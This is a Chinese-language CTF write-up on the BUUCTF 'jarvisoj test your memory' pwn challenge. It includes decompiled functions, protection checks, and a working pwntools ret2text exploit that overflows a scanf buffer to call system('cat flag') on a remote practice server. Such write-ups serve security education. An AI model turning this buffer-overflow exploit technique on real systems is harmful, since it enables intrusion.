jarvisoj test your memory

# jarvisoj test your memory

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/jarvisoj_test_your_memory/memory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

1
2
3
4
5
6

# 静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char s2[11]; // [esp+1Dh] [ebp-13h]
  int v6; // [esp+28h] [ebp-8h]
  int i; // [esp+2Ch] [ebp-4h]

  v6 = 10;
  puts("\n\n\n------Test Your Memory!-------\n");
  v3 = time(0);
  srand(v3);
  for ( i = 0; i < v6; ++i )
    s2[i] = alphanum_2626[rand() % 0x3Eu];
  printf("%s", s2);
  mem_test(s2);
  return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

mem_test函数如下

int __cdecl mem_test(char *s2)
{
  int result; // eax
  char s; // [esp+15h] [ebp-13h]

  memset(&s, 0, 0xBu);
  puts("\nwhat???? : ");
  printf("0x%x \n", hint);
  puts("cff flag go go go ...\n");
  printf("> ");
  __isoc99_scanf("%s", &s);
  if ( !strncmp(&s, s2, 4u) )
    result = puts("good job!!\n");
  else
    result = puts("cff flag is failed!!\n");
  return result;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

win_func函数如下

int __cdecl win_func(char *command)
{
  return system(command);
}

1
2
3
4

Gadget如下

ROPgadget --binary memory --string "cat flag\x00"
Strings information
============================================================
0x080487e0 : cat flag

1
2
3
4

# 思路分析

目前信息：
- mem_test函数存在溢出点
- 存在后门函数win_func
- 存在cat flag字符串
- No canary found
- NX enabled
- No PIE
思路：
- 32位ret2text

# exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/jarvisoj_test_your_memory/memory'
io = remote('node4.buuoj.cn', 25219)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x13+4
win_func = elf.symbols['win_func']
cat_flag_addr = 0x080487E0
payload = flat(['a'*padding, win_func, cat_flag_addr, cat_flag_addr])
# 这里win_func函数实际上是执行system调用，调用完毕返回的地址不能设置为无效地址，不然缓冲区中的flag会无法接受到
# 随意填写一个有效地址例如cat_flag_addr，在程序崩溃后会将缓冲区内容传过来
io.sendline(payload)
print(io.recv())

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

#buuctf #pwn #StackOverflow

上次更新: 2022/08/15, 00:29:49

← picoctf 2018 buffer overflow 1 mrctf2020 shellcode→